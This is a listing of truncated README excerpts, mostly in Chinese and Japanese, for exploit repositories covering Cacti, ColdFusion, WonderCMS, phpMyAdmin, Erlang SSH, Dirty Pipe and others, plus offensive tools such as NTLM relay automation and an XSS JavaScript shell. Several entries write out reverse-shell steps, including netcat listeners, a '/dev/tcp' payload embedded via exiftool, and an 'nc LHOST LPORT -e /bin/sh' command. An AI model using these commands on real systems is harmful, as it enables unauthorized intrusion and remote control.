CVE-2025-46811

SUSE Manager 漏洞利用工具包 CVE-2025-46811 扫描与利用工具 🚀 功能特性 多线程漏洞扫描 通过 WebSocket 的交互式 root shell 单命令执行模式 彩色调试输出 目标批量处理 📦 安装 git clone https://github.com/yourusername/suse-manager-exploit.git cd suse-manager-exploit pip install -r requirements.txt 🛠 使用方法 扫描模式 python3 exploit.py scan -i targets.txt -o...

CVE-2021-26295

CVE-2021-26295 CVE-2021-26295 EXP 可成功反弹Shell 本文以及工具仅限技术分享，严禁用于非法用途，否则产生的一切后果自行承担。 触发命令执行EXP 1. VPS启动RMI监听 9999 端口 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsBeanutils1 '要执行的命令' 2. VPS启动nc监听 64444 端口 nc -lvp 64444 3. 执行python脚本 python3 cve-2021-26295exp.py 示例...

CVE-2022-46169

CVE-2022-46169 该仓库包含 CVE-2022-46169 的概念验证（PoC）——针对 Cacti = 1.2.22 的未经身份验证的远程代码执行。你可以在此处阅读有关该漏洞的更多信息。该脚本添加了一个反向 Shell 处理器，并基于 sAsPeCt488 编写的代码。你可以在此处查看原始代码。 用法 python3 CVE-2022-46169.py -t 10.129.211.250 -i 10.10.14.72 -p 4444 参数： -t : 目标 IP 地址 -i : 攻击者系统 IP 地址 -p : 反向 Shell 端口 致谢 Steven Seeley mr...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion 2018 RCE 该仓库包含我为 Adobe ColdFusion 2018 中 RCE 漏洞编写的利用代码。 漏洞利用说明 该利用程序向 /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm 发送一个包含 JSP 反弹 Shell 的 POST 请求。如果成功，则会将 Shell 上传至...

EXP_CVE-2018-19518

CVE-2018-19518 免责声明 本程序应仅用于授权的安全测试与研究目的，请使用者遵照网络安全法合理使用。 使用者使用该工具出现任何非法攻击等违法行为，与作者无关。 使用 python CVE-2018-19518.py 目标ip 目标port shell-ip shell-port...

CVE-2023-41425-RCE-WonderCMS-4.3.2

🚨 WonderCMS RCE 漏洞利用工具（CVE-2023-41425） 这款基于 Python 的进攻性安全工具可自动化利用 WonderCMS 4.3.2 中的远程代码执行（RCE）漏洞，具体为 CVE-2023-41425 。它简化了构造恶意 ZIP 主题模块、投递基于 JavaScript 的 XSS 载荷 以劫持管理员会话并部署 PHP 反弹 Shell 的整个过程。 ⚠️ 仅供教育和授权安全测试使用。 📚 目录 ⚙️ 功能 📥 安装与要求 🚀 使用示例 🧾 参数参考 🧠 详细工作流程 🔐 安全说明 📝 许可证与署名 ⚙️ 功能 生成一个内嵌 PHP 反弹 Shell 的武器化...

bash-4.3-fixed-CVE-2014-6271

简介 这是 GNU Bash，版本 4.3。Bash 是 GNU 项目的 Bourne Again SHell，它完整实现了 POSIX shell 规范，同时提供交互式命令行编辑、支持作业控制的架构上的作业控制、类似 csh 的历史替换和大括号扩展功能，以及众多其他特性。有关此 Shell 类型中 Bash 新功能的更多信息，请参阅文件 doc/bashref.texi'。此外还有一个大型的 Unix 风格手册页。该手册页是对 Shell 功能的权威描述。 有关 Bash 默认设置与 POSIX 规范有何不同以及 Bash posix 模式' 的描述，请参阅 POSIX 文件。 此版本...

CVE-2016-10033

CVE2016-10033 利用 PoC 该仓库包含在易受攻击的 WordPress 版本上利用 CVE2016-10033 所需的文件。 按照这些说明，你将能够在运行 WordPress 的容器中获得一个反向交互式 shell（非伪 TTY），该 shell 以运行 Apache 服务器的用户身份执行。 此漏洞利用不需要任何类型的身份验证或插件。只需纯 WordPress 代码 + Exim4 MTA（大多数服务器上已安装）即可从 WordPress 发送电子邮件。 CVE2016-10033 完整公告 要求 基于 Linux 的操作系统 Docker docker-compose...

intelspy

Perform automated network reconnaissance scans to gather network intelligence. IntelSpy is a multi-threaded network intelligence tool which performs automated network services enumeration. It performs live hosts detection scans, port scans, services enumeration scans, web content scans,...

JShell

JShell JShell - XSS で JavaScript シェルを取得。 使用方法 shell.py を実行します。 すると JShell が自動的にあなたの IP アドレスを検出しようとします。デフォルトの LPORT は 33 です。 ペイロードが生成されたのがわかります。あとはこのペイロードを被害者に送信するだけです。 そうすると、netcat 経由で JS シェルが取得でき、注入されたページが開かれるとすぐに被害者のブラウザで JavaScript コードを実行できます。 スクリーンショット: クレジット、免責事項、ライセンス このスクリプトは Rodolfo Assis...

CVE-2023-24610

CVE-2023-24610 这是针对 CVE-2023-24610 的概念验证 首先，我们使用 exiftool 创建一个多语言文件： exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php 我们将文件改为 png 格式，以通过前端检查 之后，我们在 8888 端口启动一个 nc 监听器来接收 shell。 下一步是登录应用程序并点击设置 在页面底部，我们看到一个练习标志区域。我们可以通过右侧的编辑按钮上传文件 点击编辑，然后点击浏览，选择我们在第一步创建的“.png”文件 在上传之前，确保我们用...

CVE-2018-12613

CVE-2018-12613 修改后的独立利用脚本，已移植到 Python 3。测试环境：Python 3.7.3，phpMyAdmin 4.8.1 运行于 Ubuntu 16.04。 仅适用于 Linux。原始利用脚本来自 SSD。所有荣誉归功于他们。 修改内容 1. 添加了函数，用于在提供的 phpMyAdmin 用户名/密码正确时退出 2. 添加了函数，用于检查版本是否存在漏洞（4.8.0 或 4.8.1） 3. 将变量严格转换为字节或字符串；Python 3 不允许混合使用。详见此处。 用法： python3 CVE-2018-12613.py -u phpMyAdmin -p...

siemframework

SIEMS フレームワーク MultiSIEM モジュラー Python3 攻撃フレームワーク ElevenPaths 提供 https://www.elevenpaths.com/ 使用方法: python3 ./siemsframework.py はじめに...

CVE-2025-3243

CVE-2025-32433 Erlang SSH 库漏洞利用程序 针对 CVE-2025-32433 的概念验证漏洞利用程序，这是 Erlang 的 SSH 库中的一个严重漏洞，允许通过格式错误的 SSHMSGCHANNELREQUEST 数据包在认证前执行代码。 功能特性 原始漏洞利用程序 由 Matthew Keeley 编写 更新版本 由 Tyler Ramsbey 编写： 针对 LHOST 、LPORT 、RHOST 和 RPORT 的命令行参数 通过 argparse 提供内置帮助和用法 使用 os:cmd"nc LHOST LPORT -e /bin/sh". 的 Erla...

CVE_2022_0847

CVE20220847 CVE-2022-0847: Linux 内核权限提升漏洞 POC 一个简单的获取 root shell 的概念验证。 $ gcc cve20220847.c -o exploit $ ./exploit /etc/passwd 1 ootz: $ su rootz id uid=0root gid=0root groups=0root...

ntlm_relay_gat

NTLM Relay Gat Description NTLM Relay Gat is a powerful tool designed to automate the exploitation of NTLM relays using ntlmrelayx.py from the Impacket tool suite. By leveraging the capabilities of ntlmrelayx.py, NTLM Relay Gat streamlines the process of exploiting NTLM relay vulnerabilities,...

ntlm_relay_gat

NTLM Relay Gat 説明 NTLM Relay Gatは、Impacketツールスイートのntlmrelayx.pyを使用してNTLMリレーの悪用を自動化するように設計された強力なツールです。ntlmrelayx.pyの機能を活用することで、NTLM Relay GatはNTLMリレーの脆弱性を悪用するプロセスを効率化し、SMB共有の一覧表示からMSSQLデータベースでのコマンド実行まで、さまざまな機能を提供します。 特徴 マルチスレッドサポート : 複数のスレッドを使用してアクションを同時に実行します。 SMB共有の列挙 : 利用可能なSMB共有を一覧表示します。...

rwsploit

Oracle Reports rwservlet 扫描器 ⚠️ 仅限授权使用。只能在您拥有或获得明确书面许可的系统上运行此工具。未经授权使用是违法的。 针对 Oracle Reports Server（rwservlet）的定向利用扫描器，专门针对 CVE-2012-3152 和 CVE-2012-3153 ——影响低于 11g 的版本。自动完成检测、LFI 文件读取、SSRF 测试以及 JSP Shell 上传，支持单个 IP、CIDR 范围或目标列表。智能 TCP/HTTP 预过滤可即时跳过无响应主机，不浪费任何时间。 安装 git clone...

CVE-2020-5844

CVE-2020-5844 PandoraFMS 7.0-NG 742 中的认证远程代码执行漏洞 拥有管理员权限的攻击者可以上传恶意的PHP文档。通过解码base64文件位置，用户可以获得一个以apache用户身份运行的shell。 由 TheCyberGeek 发现 PoC Python 脚本 用法：python3 CVE-2020-5844.py URL USER PASS PHPREVERSESHELL 示例：python3 CVE-2020-5844.py http://10.0.0.2/pandoraconsole admin pandora reverse.php...

CVE-2018-17246

CVE-2018-17246 - Kibana LFI 由于没有输入验证，我们可以将 JavaScript 文件的名称更改为我们想要的任何名称。在这种情况下，利用路径遍历技术，我们可以选择 Kibana 服务器上的任何文件。 然而，需要注意的一点是 node 的模块缓存功能。本质上，由于 LFI 的工作原理是将未经过滤的用户输入发送给 node 的 require 函数，因此所包含的模块（攻击者的有效载荷）将按文件名进行缓存。这意味着您不能发送相同的有效载荷来（例如）恢复反向 Shell。 漏洞详情...